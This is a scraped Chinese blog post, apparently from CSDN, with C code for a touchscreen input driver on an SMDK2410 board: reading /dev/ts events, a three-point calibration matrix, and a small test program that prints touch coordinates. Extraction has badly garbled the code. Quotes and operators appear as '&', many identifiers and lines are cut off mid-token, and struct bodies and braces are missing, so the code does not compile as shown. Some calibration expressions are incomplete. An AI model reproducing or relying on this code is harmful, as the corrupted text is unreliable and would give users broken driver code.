printf(&mounsex=%dmousey=%d/n&,mousex,mousey);&
& && && &&&}
#ifdef _DEBUG
& && && &&&if (ts_event.pressure & 0) {
& && && && && &printf (&mouse down: ts_event.x = %d, ts_event.y = %d/n&, ts_event.x, ts_event.y);
& && && &&&}
& && && &&
& && && &&&ts_event.pressure = ( ts_event.pressure & 0 ? IAL_MOUSE_LEFTBUTTON : 0);&
& && && && && &
& &last_pressure=ts_event.
printf(&pressure=%d/n&,ts_event.pressure);&
& && && &&&retvalue |= IAL_MOUSEEVENT;
& &else if (e&
& && & return -1;
BOOL Init2410Input (INPUT* input, const char* mdev, const char* mtype)
& &ts = open (&/dev/ts&, O_RDONLY);
& &if (ts&
& && & fprintf (stderr, &2410: Can not open touch screen!/n&);
& && & return FALSE;
& &input-&update_mouse = mouse_
& &input-&get_mouse_xy = mouse_
& &input-&set_mouse_xy = NULL;
& &input-&get_mouse_button = mouse_
& &input-&set_mouse_range = NULL;
& &input-&wait_event = wait_
& &mousex = 0;
& &mousey = 0;
& &ts_event.x = ts_event.y = ts_event.pressure = 0;
setCalibrationMatrix(&display_position,&ts_position,&m_matrix);& &&
& &return TRUE;
void Term2410Input(void)&
& &if (ts &= 0)
& && & close(ts);& &&
#endif /* _SMDK2410_IAL */
int setCalibrationMatrix( mPOINT * displayPtr,
& && && && && && && && & mPOINT * screenPtr,
& && && && && && && && & mMATRIX * matrixPtr)
& &int&&retvalue = 0 ;
& &matrixPtr-&Divider = ((screenPtr[0].x - screenPtr[2].x) * (screenPtr[1].y - screenPtr[2].y)) -&
& && && && && && && && &((screenPtr[1].x - screenPtr[2].x) * (screenPtr[0].y - screenPtr[2].y)) ;
& &if( matrixPtr-&Divider == 0 )
& && & retvalue = -1 ;
& && & matrixPtr-&An = ((displayPtr[0].x - displayPtr[2].x) * (screenPtr[1].y - screenPtr[2].y)) -&
& && && && && && && &&&((displayPtr[1].x - displayPtr[2].x) * (screenPtr[0].y - screenPtr[2].y)) ;
& && & matrixPtr-&Bn = ((screenPtr[0].x - screenPtr[2].x) * (displayPtr[1].x - displayPtr[2].x)) -&
& && && && && && && &&&((displayPtr[0].x - displayPtr[2].x) * (screenPtr[1].x - screenPtr[2].x)) ;
& && & matrixPtr-&Cn = (screenPtr[2].x * displayPtr[1].x - screenPtr[1].x * displayPtr[2].x) * screenPtr[0].y +
& && && && && && && &&&(screenPtr[0].x * displayPtr[2].x - screenPtr[2].x * displayPtr[0].x) * screenPtr[1].y +
& && && && && && && &&&(screenPtr[1].x * displayPtr[0].x - screenPtr[0].x * displayPtr[1].x) * screenPtr[2].
& && & matrixPtr-&Dn = ((displayPtr[0].y - displayPtr[2].y) * (screenPtr[1].y - screenPtr[2].y)) -&
& && && && && && && &&&((displayPtr[1].y - displayPtr[2].y) * (screenPtr[0].y - screenPtr[2].y)) ;
& && & matrixPtr-&En = ((screenPtr[0].x - screenPtr[2].x) * (displayPtr[1].y - displayPtr[2].y)) -&
& && && && && && && &&&((displayPtr[0].y - displayPtr[2].y) * (screenPtr[1].x - screenPtr[2].x)) ;
& && & matrixPtr-&Fn = (screenPtr[2].x * displayPtr[1].y - screenPtr[1].x * displayPtr[2].y) * screenPtr[0].y +
& && && && && && && &&&(screenPtr[0].x * displayPtr[2].y - screenPtr[2].x * displayPtr[0].y) * screenPtr[1].y +
& && && && && && && &&&(screenPtr[1].x * displayPtr[0].y - screenPtr[0].x * displayPtr[1].y) * screenPtr[2].
& &return( retvalue ) ;
} /* end of setCalibrationMatrix() */
int getDisplayPoint( mPOINT * displayPtr,
& && && && && && &&&mPOINT * screenPtr,
& && && && && && &&&mMATRIX * matrixPtr )
& &int&&retvalue = 0 ;
& &if( matrixPtr-&Divider != 0 )
& && && &&&/* Operation order is important since we are doing integer */
& && && &&&/*&&math. Make sure you add all terms together before& && &*/
& && && &&&/*&&dividing, so that the remainder is not rounded off& &&&*/
& && && &&&/*&&prematurely.& && && && && && && && && && && && && && & */
& && & displayPtr-&x = ( (matrixPtr-&An * screenPtr-&x) +&
& && && && && && && && & (matrixPtr-&Bn * screenPtr-&y) +&
& && && && && && && && &&&matrixPtr-&Cn&
& && && && && && && &&&) / matrixPtr-&D
& && & displayPtr-&y = ( (matrixPtr-&Dn * screenPtr-&x) +&
& && && && && && && && & (matrixPtr-&En * screenPtr-&y) +&
& && && && && && && && &&&matrixPtr-&Fn&
& && && && && && && &&&) / matrixPtr-&D
& && & retvalue = -1 ;
& &return( retvalue ) ;
} /* end of getDisplayPoint() */
Readpos.c 程序,帮助你读取触摸屏的值
typedef struct {
} TS_EVENT;
static TS_EVENT ts_
int main()
& &ts = open (&/dev/ts&, 0);
& &if (ts&
& && & fprintf (stderr, &2410: Can not open touch screen!/n&);
& && & return 0;
while(1)&&
& && & if(& && & read (ts, &ts_event, sizeof (TS_EVENT)))
& && && & printf(&X=%d,Y=%d,Pressure=%d /n&,ts_event.x,ts_event.y,ts_event.pressure);
& && & }& && &
大漠孤狼& &
&&写于 清华 FIT 4-305
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:287675次
积分:3154
积分:3154
排名:第7496名
转载:166篇
评论:15条
(1)(4)(2)(3)(1)(2)(3)(2)(2)(9)(63)(15)(3)(13)(1)(1)(7)(5)(13)(22)(1)(1)

我要回帖

更多关于 bomb 上传文件 的文章

 

随机推荐